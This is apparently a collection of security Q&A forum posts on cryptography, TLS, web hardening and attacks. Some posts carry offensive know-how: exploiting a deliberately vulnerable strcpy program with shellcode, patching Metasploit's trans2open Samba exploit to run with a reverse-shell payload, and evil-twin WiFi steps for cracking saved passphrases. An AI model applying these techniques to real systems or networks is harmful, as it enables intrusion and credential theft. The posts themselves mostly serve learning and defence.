For U.S. folks who are interested in NIST compliance, this is a should category cipher suite for servers using elliptic curve private keys and ECDSA certificates per NIST SP800-52 revision 1 table 3-4

IE 8 on Windows XP is still out of luck, as is Java 6u45 due to DH parameter maximums.
This is absolutely the minimum level I'd recommend going to.

Note that for servers using RSA private keys and RSA certificates who need NIST SP800-52 revision 1 compliance, you SHALL, should, and may implement specific other TLS_RSA_* cipher suites which DO NOT PROVIDE forward secrecy, and thus I would not recommend unless this compliance is required.

Note also that paragraph 3.3.1 of that document states specific "The server shall be configured to only use cipher suites that are composed entirely of Approved algorithms.  A complete list of acceptable cipher suites for general use is provided in this section..."

Other national and industry requirements will vary, of course.

and may conflict with each other; read all of those that apply to you carefully.

I'll put in the usual plug here - try out your cipher list with your own tools (openssl ciphers -v '...' for openssl based systems), go to https://www.ssllabs.com/index.html first to check on cipher suites supported by various clients, then set up your site, and then go back to www.ssllabs.com and run their server test.

Note that _ECDSA_ cipher suites require ECDSA certificates, of course, and those are still very hard to find.

ETA: NSA Suite B EC advice, and IE 11/Win7 now supports 0x9f and 0x9e.

ETA: As of Jan 2016, NIST SP800-52r1 is unchanged, and one new cipher suite (0xc00a) has been added to the list.

ETA: As of Jan 2017, RFC7905 has change the three TLS 1.2 AEAD CHACHA20-POLY1305 ciphers, and "modern" browsers have drastically improved AEAD support as noted in new bullet.  See https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml#tls-parameters-4   for up to date IANA cipher suites.


Is there a rule-of-thumb for the minimum time for a password hashing function? How fast is too fast? 50ms? 500ms?

For example, Argon2d time=1 threads=1 mem=65536 takes 50ms with todays EC2, is that "good enough"?

Obviously depends on attackers' resources and password entropy, but I'm only looking for a rule of thumb applicable to typical website owners; not looking for a formula or anything.

Minimum time? You want the hash function to take as long as you find tolerable for your application.

You suggested 50ms and 500ms. While 50ms is just too fast, 500ms is just a little to slow. In 2015, @Thomas Pornin recommended a minimal speed of 241ms. That was the recommendation 2 years ago so you might want to go just a little higher, for example 270ms.

By all means you can use your 500ms, but only if that's not too slow for your application.


What are the security threats of zip file uploads and what preventive actions should be taken? We have a Drupal application developed for sharing files.

We are allowing zip files to be uploaded by logged in departmental user.
We are using Drupal private file system (outside webroot).
We are using php Fileinfo for validation.
Only logged in user will be able to download the file.

Now our security team is not allowing zip uploads saying it is a threat. I want to know the security threats by having this feature and what can I do to prevent it.

One area where ZIP files could present a risk to the application the zip bomb attack.  this occurs where an archive is constructed in such a way that when it's opened it consumes a large quantity of space on the server potentially causing it to crash.

It might be possible to mitigate this issue by opening zip files on a dedicated filesystem and then aborting the unzip action if a predetermined maximum size is reached.


Can http referrer value be used to stop spam bots? I have a public sign up site, and when they click submit, a verification text message goes out to the phone number specified in sign up by calling an aspx page via ajax. I don't want spam bots sending out text messages that I pay for.

I noticed that google's noCaptcha feature with the simple check box has a lot of great things. But the most important feature it has is that it only accepts requests from ip addresses or domain name you designate. Good. And to do that, it has to check the http referer in the request. So what if the browser sending it or the firewall surrounding it erases http referer? Then I guess captcha doesn't work in that situation and gives back improper ip address or domain name error, or whatever it gives out and I have to handle that.

So my question is why does noCaptcha even need to be used? If I can check the referer ip address or domain name in the page that receives the request to send out the text message, and reject (or do whatever) if referrer is blank or not my ip address or domain name (because a spam script will be executing on the spammer's server or ip address or domain name), then am I not doing the same thing as noCaptcha and don't need it?

Seems like if a spammer's script is running on another ip address or domain name invoking the js ajax calls it found on my page via scraping, the referrer ip address or domain name will either be blank, or the real spammer's address, as it seems that http referrer can't be spoofed, only excluded or be changed through proxies, none of which will be my ip address or domain.

Either way, is this not just as effective and gets to the bottom line? If noCaptcha can't accept requests without a proper and correct http referer, then is my check no less than theirs? Either solution will not work if there is a firewall that prevents http referrer from being specified or a spam bot script that does not specify it. So what am i buying (even though it's free) from noCaptcha if it has the same limitations of the idea I am proposing where the check is done on the requested page that will send out the text message?

I'm looking for people to tell me why my captcha replacement approach will not actually work

Can http referrer value be used to stop spam bots?

No, because the referrer is just a header and is easily forged by a bot.

  I noticed that google's noCaptcha feature with the simple check box has a lot of great things.

Actually it isn't a checkbox, it's a DIV with some overlays.

  But the most important feature it has is that it only accepts requests from ip addresses or domain name you designate.

Not sure how you "noticed" this. Did you find that in a document? Because it's nothing remarkable; you can easily set up an IP white list of your own using only IIS-- no noCaptcha required.

  why does noCaptcha even need to be used?

It's a sophisticated risk engine with conditional escalation steps.  Details. I doubt you could effectively recreate this yourself.


Is a random keyfile more secure than a derived key? I'm devising an encryption layer for some proprietary cloud storage API. Basically this should act as a transparent adapter that encrypts whole binary blobs (files) on upload and decrypts them on download. The reason for this is to store data encrypted on the untrusted server side.

I want to use a symmetric encryption algorithm. The key for this will be generated and kept on the client side. As I'm in no way a security expert my question is whether it would be more secure to generate a binary key of the desired size by use of a pseudo-RNG than relying on a key derivation function? The random key would be somehow secured by a passphrase of course.

A related question is how to go about checking whether the entered passphrase is correct.

If you generate a random key with no password, then its entropy (a measure of how long it takes to find the key through brute force attempts) is the size of the key. For example, if the encryption algorithm is a mode of AES-128 (a common choice), then a random key has 128 bits of entropy, meaning that it takes up to 2128 attempts to find it by brute force. (That would take more than a billion years with a billion PCs.) The risk with a random key with no password is that if an attacker obtains the key file, they can use it just as if they were you.

If you use a key that's derived from a password, its entropy will be a lot less. How much depends on how the password is chosen, but you have to rely on having chosen a strong password, which can be a problem if you have many users who can't necessarily be trusted not to pick Passw0rd. Furthermore, the attacker might obtain information about the password by watching you type or other “out-of-band” methods.

If you generate a key file and protect it with a password, you get the best of both worlds, in terms of confidentiality. The attacker would have to obtain both the key file and the password in order to obtain the key. Note that if the attacker obtains the key file, he can try to find out the password, but even then you might have a bit more time to change the key while he attempts to crack the password.

Depending on the application, entering an invalid password may either tell you that the password is incorrect without contacting the server, or may silently compute a wrong key that the server will reject. The latter is better because that means all cracking attempts must reach the server, and the server can limit the rate of cracking attempts. This way, even if the attacker grabs the key file, he'll be limited to the rate of attempts that the server allows, and you'll know that something is going on. If the password can be validated with the key file alone, the attacker can make his cracking attempts offline and can parallelize them over many computers.

Keep in mind that if you make it harder to find the key, that hinders you as well as attackers. If you use a key file, you must back up that key file. If you use a password, you must back up that password. If you use a password-protected key file, you must back both up.


False Match vs False Acceptance Studying up on biometric security terms, can someone clarify the difference between 'Match'/'Non-Match' and 'Rejection'/'Acceptance'?

There are a number of ways of phrasing the same things, personally, I prefer "True/False Positive" (referring to times when the system accepted the attempt, and whether it should have) and "True/False Negative" (referring to when the system rejected the authorisation attempt, and whether it should have).

The fact of the matter is that the True attempts are of little concern. They basically signify "the system is doing what it should be". The False Positives are very bad, because they mean that someone has been able to gain access when they shouldn't have. Any significant level of False Positives basically mean that a system is broken.

False Negatives are bad, but for different reasons. It means that the system hasn't allowed someone in when it should have. While this means that the data may still be secure, the user inconvenience should not be discounted. Remember "Security that comes at the cost of convenience, comes at the cost of security". A system that people don't use is as bad as a system that is broken.


With GPG, can you "decrypt" a file that hasn’t been encrypted? In reading about asymmetric encryption a while ago, I remember reading that you could "decrypt" an unencrypted file with your private key, then others (anyone) could "encrypt" it with your public key to both recover the original file and be sure it was from you. Obviously, the proper way to do this is by signing, which GPG handles. However… Is this possible with GPG?

I’m trying the following command.

gpg --output decrypted.jpg --decrypt --local-user my-email-address original.jpg

It doesn’t output any remarks or errors, but no decrypted.jpg is created.

Difference between signing and decrypting

I think your confusion stems from the fact that signing is in theory indeed somewhat similar to decryption for some algorithms (for example RSA).

Wikipedia for example phrases it like this:

  Suppose Alice wishes to send a signed message to Bob. She can use her
  own private key to do so. She produces a hash value of the message,
  raises it to the power of d (modulo n) (as she does when decrypting a
  message), and attaches it as a "signature" to the message.

This is however not how it is done in practice, and it is why your approach doesn't work.

For a more in-depth explanation of signing and decryption see eg here:

  In the abstract world of textbooks, RSA signing and RSA decryption do
  turn out to be the same thing. In the real world of implementations,
  they are not. So don't ever use a real-world implementation of RSA
  decryption to compute RSA signatures. In the best case, your
  implementation will break in a way that you notice. In the worst case,
  you will introduce a vulnerability that an attacker could exploit.

  Furthermore, don't make the mistake of generalizing from RSA to
  conclude that any encryption scheme can be adapted as a digital
  signature algorithm. That kind of adaptation works for RSA and El
  Gamal, but not in general.

Regarding PGP, it doesn't sign the message itself, but instead it signs a hash digest of the message:

  PGP uses a cryptographically strong hash function on the plaintext
  the user is signing. This generates a fixed-length data item known as
  a message digest. (Again, any change to the information results in a
  totally different digest.)

  Then PGP uses the digest and the private key to create the
  "signature." PGP transmits the signature and the plaintext together.
  Upon receipt of the message, the recipient uses PGP to recompute the
  digest, thus verifying the signature. PGP can encrypt the plaintext or
  not; signing plaintext is useful if some of the recipients are not
  interested in or capable of verifying the signature.

Here is an image describing the process:

Why you can't just decrypt a message to sign it

The above is all well and good, and we know that we shouldn't decrypt messages to sign them in practice, but why can't we do it just for fun?

Because that's not how PGP or GPG work. A full explanation of the inner workings would probably be too much for this question, but see for example How does GPG verify succesful decryption?.

In short, PGP doesn't just do some mod operation on the data on decryption, the .pgp format is well defined and contains various information. Note also that PGP doesn't actually use asymmetric encryption such as RSA on the message itself, but on a key which is then used to symmetrically encrypt the message.

Conclusion

To summarize, if you were to use plain RSA, you could use decryption to sign a message (but you shouldn't), but PGP and GPG aren't plain RSA, so you can't just decrypt a message to sign it.


Achieving End to End encryption with TLS The scenario is that a client browser (eg: a user trying to log in to a bank website) needs to be able to view certain sensitive information that resides in a mainframe sitting in the Internal network via a web/application server that resides in the DMZ (The client should not be able to directly connect to the mainframe).

In a simple setting, there will be two TLS sessions i.e. one between the client and the web server & the second would be between the webserver and the mainframe. The problem with this setting is that the sensitive information is getting decrypted and encrypted again at the webserver. So there will be a point in time when the sensitive information is in the clear on the web server.

How can I mitigate this such that the information remains confidential at the web server but can be decrypted successfully at the client's end? How can I achieve this end-to-end encryption?

Unfortunately you'll find that this just isn't done. As you have correctly pointed out, you do not allow the client to connect all the way through using one TLS channel, so decryption at the web server, or TLS endpoint, is a given.

So what organisations do is assess the risk and then look at other security controls over the web server. These include:

Physical isolation
Logical segregation
Separated management connections
Strong authentication
Monitoring of admin access
Server hardening
etc

(There is a possible partial solution, which would be to run the webserver with encrypted RAM, encrypted disks and so on, however this leads to a serious performance impact, and still does not protect against an attacker who has gained access to the webserver.)


What's my exposure, and how to close it, from Conexant HD Audio Driver Package, CVE-2017-8360 I read about the key logging of the driver at modzero, and that it's apparently making all my keystrokes available. How much am I exposed by this, and can I reduce my exposure?

Risk:
There is no additional "attack surface" created by this issue. In other words, provided an uninfected machine, you are no more vulnerable to attack. The real risk here is that if your machine is/was previously compromised, an attacker could more easily (than having to install their own keylogger) capture your keystrokes and possibly keystroke history (since last logon) via the log file. Many AV products would detect the installation of a keystroke logger, but since the signed driver already includes it, it could be overlooked (although that said I would expect any reputable security software provider to soon be listing affected drivers as dangerous anyway). The only other consideration as pointed out by Modzero, if you happen to be backing up the public user folder anywhere, backups could also include copies of the log file (again IMHO an unlikely real-world scenario).

Mitigation:
We tested it and found that even if MicTray.log is 0 bytes (as is a common occurrence as reported on the internets and my observation), it can only be deleted/renamed if MicTray[64].exe is killed.

As we had about 40 machines affected, we created the following batch file to push out and mitigate the issue. It renames all files to include an underscore and therefore prevent them from being run normally. This allows reversal if required. The only casualty of this workaround is the lack of the relevant system tray and associated functionality (which IMHO is rarely used anyway).

taskkill /IM MicTray.exe
taskkill /IM MicTray64.exe
ren c:\users\public\MicTray.log MicTray.log_
ren c:\windows\system32\MicTray.exe MicTray.exe_
ren c:\windows\system32\MicTray64.exe MicTray64.exe_


IP address, iphone, Snapchat My child is being accused of doing some improper things via Snapchat, but he swears that he did not do anything, and he is the type of person who probably would not.  The only thing the police are going on is the user account name and the IP address which supposedly connects to my child's iPhone.  Is there any way that someone else could have hacked into my child's Snapchat account and did the improper things, or is the IP address conclusive that it is my child's iPhone?  My child and the other communicator are in different states.

Snapchat keeps a log of all messages sent and their corresponding IPs, so they can easily tell who sent which message and from where.

If someone compromised the Snapchat account and sent some content from another machine, the IP address would be the one of the machine/phone from where the content was sent, or possibly the address of a proxy/compromised server/anonymization service such as Tor.

If attacker really wanted it to appear as if your child sent the content, he could compromise a machine on your home network and use it as a proxy to send the content (it will appear as coming from your home network connection and would be potential evidence unless you have proof someone else was at home or your child wasn't there when it happened).

In theory he could also compromise the phone itself to send the content directly via the mobile network, but in practice I'm not aware of any iOS exploits for the recent iOS 8.X versons allowing this kind of attack, so the only option would be to make your child install some specifically crafted malware designed to give the attackers remote access to the phone and root privileges (to break into the Snapchat app's sandbox and steal its session token, to be able to impersonate this app). Installing such malware is no easy task and is definitely an unusual procedure, and most importantly requires a jailbroken phone.


How does infection through web surfing work? Often I read about compromise due to visit a malicious site which download some exploit to your computer. I've never seen a detailed process, all books/tutorials I read just say sentences like "once the site is visited, the target is compromised", "redirecting the user to an attacker-owned site which downloads malicious javascript", etc, but that seems a little vague to me...

How does this kind of compromise work? Because apart from exploiting some vulnerability in the web browser (and that must be a 0day nowadays), I don't know with other attack vector could happen.

Generally, most drive by browsing attacks are through browser vulnerabilities, which redirect you etc.,
but some are through PDF render engines, or in fact any input or display functionality.

These do not have to be zero-days. Many browsers have vulnerabilities - some that have been known for years and have fixes out.


SAT (Satisfiability) it is security risk? If researcher found satisfiability in any software, this is a threat to security? If answer - "Yes", how can attacker to use SAT?

The symbolic execution technique, as used in KLEE, is just a way to ask a SAT-solver to validate/invalidate possible runs in the software without executing it for real. It allows to focus on feasible paths only.

So, this will not be a security threat if you can run a SAT-solver and validate/invalidate the paths of your software. I will just mean that you will be able to explore all its execution paths for sure (exhaustively).

It also means that the internal of your software can be fully explored, which might be a problem if you want to hide something (a patented algorithm, a cryptographic key, ...). In such case, people tends to use specific obfuscation techniques (usually specific opaque predicates to defeat SAT-solvers) to render the exploration of all the executable paths more difficult.

Hope this help you to better understand the whole thing.


Exploiting buffer overflow leads to segfault I am trying to exploit simple stack overflow vulnerability. I have a basic code in c:

#include <cstring>
int main( int argc, char** argv )
{
        char buffer[500];
        strcpy(buffer, argv[1]);
        return 0;
}

compiled using -fno-stack-protector. I've already figured out the buffer length and I've successfully overwritten the EBP and EIP registers. I injected a large number of NOPs, followed with this shell code and finally inserted an address where the injected NOPs are so the code is executed.

Now the problem. On the picture attached you can see the gdb output. If I run my program with malicious input it gets a SIGSEGV. Dumping the address 0xbffff880 you can see there is a lot of NOPs followed with the shell code (pink box) and finally with the address (blue box).

I've thought this would work as follows: At first the 0x90909090s and the shellcode are considered as simple data. After these (past the pink box) there is an address 0xbffff880. I am saying to the cpu "hey there, now please execute what's on 0xbffff880". The cpu takes what's on the address and executes all the NOPs and the shellcode itself. However that's not happening and SIGSEGV occures.

Where am I mistaken?

I am trying to achieve this on Virtualbox instance of 32-bit Ubuntu 14.04 Linux 3.13.0-39-generic i686 with ASLR turned off.

Your memory address 0xbffff880 is most likely non-executable, but only read/write.  There are a couple of ways you can overcome this.

If that is a stack address you can use -z execstack while compiling.  This will essentially make the entire stack memory executable.
For a more robust solution you can write the shellcode to call mprotect on the address you are writing to.

For example, the following line will mark address 0xbffff880 as read/write/executable.

mprotect((void*) 0xbffff880, buffer_len, PROT_READ | PROT_WRITE | PROT_EXEC);

-fno-stack-protector does not mean that the stack will be executable.  It only disables other security features such as canaries or stack cookies. If these values are overwritten (with a buffer overflow) when they are checked the program will fail.  This would not enable the execution of your buffer.


Packet filtering firewall - (Network Layer) I would like to know what does this particular rule of the packet filtering firewall ruleset do:

Source Address: Any
Source Port: Any
Destination Address: 192.168.1.0
Destination Port: 1023 and above
Action: Allow

It allows any traffic targeted at the IP address 192.168.1.0 and any port numbered 1023 or higher through the firewall.


trans2open not working on metasploit I am using metasploit to exploit a vulnerable version of Samba on a remote host.
Samba version 2.2.8, downloaded directly from the cve site.

But when I use trans2open exploit with payload (generic/shell_reverse_tcp) I get the following error:

Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: undefined local variable or method `args' for #<Rex::Proto::SMB::Client:0x000055d1b5205828>
[*] Exploit completed, but no session was created.

This is how my variables are set:

I am running two virtual machines on AWS. One with kali linux and the other is the one with samba. And yes all firewalls are disabled.

This is an issue for all "older" samba exploits, e.g. lsa_transnames_heap, chain_reply and trans2open. It always gives the error "undefined local variable or method 'args'"

I just found the solution for this:

If you have/want to fix this manually, you have to go to the library file of the smb-client (/usr/share/metasploit-framework/lib/rex/proto/smb/client.rb)

There you have to change line 657 from return session_setup_clear(*args)  to return session_setup_clear(user, pass, domain)  and it should work again.


Is the FIPS module of openSSL with fixed base address a security risk? The latest openSSL library has a FIPS module which needs to be built with a fixed base address to be called FIPS compliant.
The rationale behind this is that having a fixed base address enables them to do an integrity check of the library.

I personally believe that this is a security risk as attackers know the exact base address of the library and can use that location to run attacks. Especially attacks like return to libc attack or return oriented programming.  Am I missing something here??

Having a known address is not a big risk. The only security measure that it defeats is ASLR, and ASLR is merely a technique to make exploits more difficult, it rarely makes them impossible.

The best defense against exploits is not to have a vulnerability in the first place!

This, not the fixed address, is the reason why using a FIPS-certified version of OpenSSL is detrimental to security. As new bugs are inevitably discovered, users must patch them as fast as possible, before exploits come out. As soon as you've patched the bug, you aren't running a certified version any longer. If you needed certification in the first place, you'll need to wait for a certified version with the bug fix, which typically takes months if the vendor even bothers to make one.

Given that the FIPS certification of OpenSSL is not really a security certification (FIPS 140 level 1 is little more than a check that the functions are computed correctly, the security aspects are virtually nil), the only reason to use the FIPS version rather than the latest stable release is if you need to tick the “FIPS validated” checkbox on a procurement form.


Open Source Security Audit I recently forked a project on GitHub that had been abandoned, cleaned up a lot of the code and started to make improvements to it. As it's a forked project I'd like to find out what the best way to get the code audited for security is, so I can get any unknown issue's fixed.

Any advice is much appreciated.

BidFork: https://github.com/bidfork/BidFork

Since your project is PHP here's a list of PHP static analysis tools. You run a static analysis which looks over the code for potential vulnerabilities. This is really the first step to catching obvious errors.

There are some commercial solutions that offer dynamic analysis, but I'm not aware if any for PHP which are free of charge.


Is a 512 bit RSA key secure when used temporary? Is a 512 bit RSA key secure when a new key gets generated and used approximately once a week? The key is only used for signing messages, not for encrypting sensitive data.

This is for a system where there are many extremely short lived connections p2p (think one UDP packet as a request, and one back as a response), and the overhead for 1024 or even 2048 bit RSA is very high.

For signing only, a 512-bit RSA key ought to resist at least a few days, more probably a few weeks, even against determined attackers. This is still "reasonable" as long as you verify the signature "soon". You can imagine that from the point the public key was made public, you have a few minutes, at best hours of security, after which you must consider the key as expired and refuse to trust signatures computed with that key.

I find your use case a bit dubious, though. Generating the RSA keys will be quite expensive with regards to computing a signature. If you worry about signature size, then you should investigate DSA or its elliptic curve variants. ECDSA with a 160-bit curve will use 320-bit signatures (quite smaller than 512-bit signatures for RSA-512) while being substantially stronger (ECDSA with a 160-bit curve is still beyond the technologically feasible) and will still be competitive with regards to CPU usage.

Also, the hard part of asymmetric cryptography is key distribution (that's what PKI is about); if you generate many keys, you only make that part harder.


Qualys WAS raises "150004 Path-Based Vulnerability" on an image file Customer is running Qualys Web Application Scan and the WAS Scan Report reported:

150004 Path-Based Vulnerability

on URL: https://www.example.com/mywebapp/Content/datepicker/images/ui-icons_444444_256x240.png

I have verified that Directory Browsing is disabled in IIS 10, per How to fix Path Disclosure Vulnerability?. Browsing to https://www.example.com/mywebapp/Content/datepicker/images raises 403 - Forbidden: Access is denied

I can browse directly to the image at https://www.example.com/mywebapp/Content/datepicker/images/ui-icons_444444_256x240.png and visibly see it. F12 tools displays a Status=304 for the file

I tried to adjust access by adding a web.config with the following

<?xml version="1.0" encoding="utf-8"?>
<configuration xmlns="http://schemas.microsoft.com/.NetConfiguration/v2.0">
    <system.web>
        <authorization>
            <allow users="*" />
            <deny users"?" />
        </authorization>
    </system.web>
</configuration>

This locks the image file from view but it also breaks the jQuery UI date picker in the application: F12 console raises an http 500 on the image load and the date picker is missing navigation arrows (and this is when the user is authenticated in ASP.NET and not anon (authenticated user="*", anon user="?") and is using the date picker to select dates).

When I remove the above web.config, the datepicker reverts back to working but I'm back to square one with the red flag from WAS.

Is this something that I can address with an authorization setting in web.config or other ACL without breaking the datepicker? Perhaps I'm chasing a false positive?

I'm also trying to figure this one out. So far my conclusion is that you should not block access to js, css or image files in a web application, that is the way is supposed to be.
In my case the scan tool seems to be reading the path of an image(which you can manually do by right click on an image and click on copy image link..) and then changing the image name by a random folder name like Service. The app is returning a 200 status code that contains an error page that doesn't disclose info, it just tell you that something went wrong and suggest you to go to the home page...so in this case I think it should be considered a false positive.
As a side note, if a client wants extra protection of it's images there are some techniques, depending on the technologies been used, that can be applied. A quick search will show some ideas on stackoverflow, but they are programmatic solutions.


Exploit user input being directly inserted into PDF I'm testing a web application where user input is directly inserted into a PDF file which can then be downloaded.

The user input is accepted as is, without encoding or any other modification. This behaviour is usually exploitable.
For instance with csv files you could inject formulas. On web applications this obviously opens up XSS.

Are there any attack vectors for PDF files or the PDF generator in the background with unfiltered user input?

What you need to worry is

Whether the website sanitize the user input. So in case of XSS, malicious code will not be injected.
Reputation of the web services that generate the PDF file. Acrobat reader exploit code can always be injected into the PDF file.

This is better than worry about than learning all sort of PDF object that are exploitable by attacker.


Is there a service that will auto scan a 'Terms if Service' to assess privacy issues? Terms of Service agreements are very tedious and extensive, I am wondering if there exists yet in the privacy tools that are evolving a tool that will scan a TOS for common issues to privacy.

No, and there likely won't be until AI takes over the Earth. A legal document must be read and understood -- there isn't any kind of automated reader that can point out issues for you. It is already difficult for humans without a law degree to do so.


What was the real-world cost of computing the SHAttered collision? More specifically, how much wall-clock time did it take, and what was the cost in dollars of the computing power involved?

From shattered.io I see that it took 6500 CPU-years + 110 GPU-years, which tells me roughly how much computing power but nothing about wall-clock time.

This page contains almost what I'm looking for, and it's even from the researchers involved in SHAttered, but it's an estimate dated from late 2015 based on their research up to that point:

  Concretely, we estimate the SHA-1 collision cost today (i.e., Fall 2015) between 75K$ and 120K$ renting Amazon EC2 cloud computing over a few months.

Are there up-to-date numbers on what the cost of the actual attack was?

Here's the estimates, as quoted by Ars Technica

  The first phase of the attack was run on a heterogeneous CPU cluster that was hosted by Google and spread over eight physical locations. A second and more expensive phase was run on a heterogeneous cluster of K20, K40, and K80 GPUs that were also hosted by Google. Had the researchers performed their attack on Amazon's Web Services platform, it would have cost $560,000 at normal pricing. Had the researchers been patient and waited to run their attack during off-peak hours, the same collision would have cost $110,000. That's within the $75,000 to $120,000 range CWI's Stevens projected in late 2015.


Formatting potentially infected USB stick before plugging it into trusted devices As stated in the title - is formatting my own USB stick on a separate computer with live-Ubuntu enough to prevent malware infection?

I work as computer technician and sometimes my pendrives must be plugged into potentially unsafe computers of my clients, which afterwards makes me think of how to properly clean them before using them again in my environment.

Can a BadUSB infect my pendrives' firmware through customer's PCs?

The interesting badusb attacks all involve custom hardware. If you know that it is your USB drive just formatting it should be sufficient.


Rate Limiting An API I am busy developing an API for a mobile application, currently one of the endpoints require that the users username and password be POST'ed to it. What I am worried about is someone discovering that API endpoint and brute forcing username/password combinations.

Should I be rate limiting my API? If so, do I need to worry about this now or only down the line if this type of attack actually takes place?

Rate Limiting your API endpoint is a good start. However it can be easly bypassed by using proxies or tor sockets for example. What I'd suggest you is to implement a mechanism that validates the request. HMAC https://en.wikipedia.org/wiki/HMAC is a common cryptography authentication protocol that uses shared secret aswell as hashing algorithm. It obviously has some downfalls. Shared secret can be found in a process of reverse engineering your mobile application, thus you should also do proper code obfuscation. It provides extra layers of security and increases attack difficulity and cost.


Security benefit / purpose of signature on self-signed certificate in trusted store From my understanding, the whole point of the root / trusted store (in a device, in a computer, on a server...) is that "the trust starts here".  In other words, hacking, etc. aside, in theory all certificates in the trusted store don't need to be -- and really can't be -- "verified" per se; they are trusted implicitly simply by virtue of the fact that they reside in the trusted store.

So here is my question: do these certificates even need to be signed (from a security standpoint, not from a perspective of software implementations of certificate chain verification)?  I guess more specifically, my question is this: does the digital signature on a certificate in the trusted store provide an added security benefit?

The only reason I could imagine these certificates need signatures is simply to make trust / verification easier, i.e. elimiate special cases in verification software -- all certificates must be signed, even if the signature of the certificate at the start of the chain is essentially meaningless.

Your assumption is true: certificates in the trust store are trusted only because they are in the trust store and not because they are signed by somebody (usually themselves, i.e. self-signed). That's why it is also not seen as a problem if there are certificates in the trust store which still have a SHA-1 signature, since this signature does not add any security anyway in this case.


Internet Access for a company laptop My roommate asked me to share my internet connection with him for his company laptop. I have the option to give him wireless (WiFi credentials) and wired access (ethernet).
If I do decide to share,

Should I go for wired or wireless? (Speed and coverage area are not an issue yet.)
What are the things his company IT could know about and access from my network and what can they exploit?
What are the measures I can take to protect my network and the other devices on it?

I'm paranoid about stuff like this.

The company could use the laptop to scan everything on your network. What they can exploit depends entirely on what is exploitable.
To do this using best practice, you want to set up a separate network for the device. A lot of routers allow for a Guest network to be set up, and you could put your roommate on that.
You could put them on the ethernet and make sure that the ethernet LAN cannot access the WiFi network, if your router allows that sort of control.


In cyptography what is "Key Space"? What is a Key space and how does it relate to the strength of a cryptosystem? Comment on the strength of the DES algorithm with a 56 bit key. What relevance does the key space have for passwords?

This is what I found so far I'm stuck though:

  Key space refers to the set of all possible permutations of a key.  To
  prevent an attack to find the key used to encrypt a message, the key
  space is usually designed to be large enough to make such a search
  infeasible.
  ~ wikipedia

I'm not clear on what you're having trouble understanding. A cipher is function that takes a key and plaintext, and outputs a ciphertext. The key space is the set of everything that can be used as an input as the key. Generally, what's important is not precisely what is in the key space, but how many distinct  elements there are (depending on how the space is defined, you may have multiple keys that result in the same output, so by "distinct", I mean keys that don't always give the same output). This is because one method of breaking encryption is to simply try every key (this is known as "brute force"). The more keys there are, the longer this method takes.

A 56 bits key space has 256 different keys. Suppose you can try one billion keys per second. A billion is about 230, so that means that it will take 226 seconds, or about two years, to try all the possibilities.


In TLS 1.3 handshake, can an internal error at the client be interpreted as a decrypt error at the server? In TLS 1.3 handshake protocol, the client sends the ClientHello message to the server. The server then sends back the ServerHello message followed by some encrypted messages. The client then computes keys and sends some other encrypted messages to the server to complete the handshake.

Now, what happens if an error occurs while the client is computing keys? Let's say it's an internal error. The client is supposed to send a fatal "Internal Error" alert to the server and then close the connection. The alert message is certainly not encrypted because the client does not successfully compute keys. However, the server already calculated keys successfully and changed cipher spec, so the server expects all incoming messages to be encrypted. Therefore, a decrypt error will occur when it tries to decrypt the unencrypted alert message from the client. Effectively, an internal error at the client becomes a decrypt error when it reaches the server. Is this an acceptable behavior?

You are assuming that some error can occur which makes it impossible for the client to compute the keys correctly. Assuming that client and server have completed the handshake so far in a correct way, so that the input data for computation of the keys are available at the client and they are correct. Also, assuming that there are no implementation errors. In this case it is very unlikely that some error can happen during computation of the keys at all, i.e. probably only some out of memory condition or some hardware related problems. It might even be that the client is unable to send a message at all to the server in such a situation. I think it is perfectly ok if in this rare case the server cannot distinguish between an "internal error" message from the client and a corrupted message from the client or a connection close with no message at all since the amount of usable information is about the same: something unspecified went wrong.

Apart from that, the alerts sent to the peer do not contain much useful information in the first place. Since there is no real error message but only a single error number it can only point at the direction of the possible cause of an error but not describe it in detail. And when looking at how this alert protocol was used in TLS 1.2 and lower by actual implementations, the chance is high that it will be similar mostly useless in TLS 1.3: there are major implementations which just close the connection on error instead of sending an alert back. Other implementations just send a generic handshake_failure in most cases even though there are more exact alert types available for the particular error.


How to force clients to connect to WiFi automatically? I have watched a hak5 YouTube that they did make people connect to their wifipineapple (a WiFi Honey pot) , and they stored the Wi-Fi hotspots, those the phone used to connect to.

The historical hotspots are many. I am wondering how they made it. If they simulated the SSID, should they replace it with another one seconds later?

Here's the Youtube video

You can't simply Force a client, but to trick him!

As long as the device's WiFi is running, it keeps sending probe requests, searching for your previous connected networks. Using some software like airodump-ng, you can easily sniff out those probes.
Then the attacker may create a similar evil twin using the BSSID and ESSID gathered from the previous probes.

So, as the device sees the pre-saved network up again, it re-connects thinking it is the legit network.

However, there is something to be aware of:
Only works with public networks. This does not work with secured networks unless you already know the security phrase.

Important note:
This attack also can be done to pre-saved networks with passphrase, if the passphrase is weak enough to be cracked. steps are:

Create the evil twin networks using the BSSID, ESSID AND the same auth type of the spoofed network "WPA, WPA2 or WEP"
The client will try to connect to the network providing the passphrase challenge
The authentication won't work obviously, but you can sniff the challenge
Using some cracking tool, you can crack the phrase
Re-create the network using the new passphrase

Now the client will connect to the spoofed network even if it has some security level, so it's always a good idea to use a strong phrases!


Where do suspect requests from logged-in users to my website come from? I have an ASP.Net MVC 4 web application that is hosted on a Windows 2008 server. The application is secured by a custom ASP.Net membership provider. Only users who are granted permission by the admin have access. The application contains sensitive medical data of individuals.

Recently, I discovered that 60 out of 320 registered users are sending suspect requests to my website. These requests get a HTTP status 404 response, as they do not exist on my site and are inadequate. As an example, this is the subset of URLs that contain 'admin':

    /_vti_bin/_vti_adm/admin.dll
    /admin.php
    /admin/597ea5fc-0805-4b3c-8ab8-3d5320d8683c
    /admin/chgpwd.php
    /admin/default.asp
    /AdminHTML/parse_xml.cgi
    /admin-serv/authenticate
    /admin-serv/config/admpw
    /advwebadmin/adminsettings/browsewebalizerexe.asp
    /advwebadmin/SQLServ/sqlbrowse.asp
    /iisprotect/admin/GlobalAdmin.asp
    /mailman/admin/mailman
    /phpmyadmin/sql.php
    /scripts/admin.cgi
    /shop/admin.php
    /shopscript/admin.php
    /SiteServer/admin/
    /store/admin.php

Little harm is expected from a request like /store/admin.php, as no .php files are present on the server. It still bothers me, because my users are logged in when the requests arrive. That is, sessions and authentication cookies are sent with the requests. So, if a valid request were sent, the server could disclose sensitive information in the response, as the server trusts the requests to be genuine. I use an anti-forgery token to prevent cross-site request forgery, but this will prevent malicious get requests. These are almost as problematic, due to the sensitive data on the site. Also, if the suspect requests are indeed originating form the user's browser, there is no 'cross-site'.

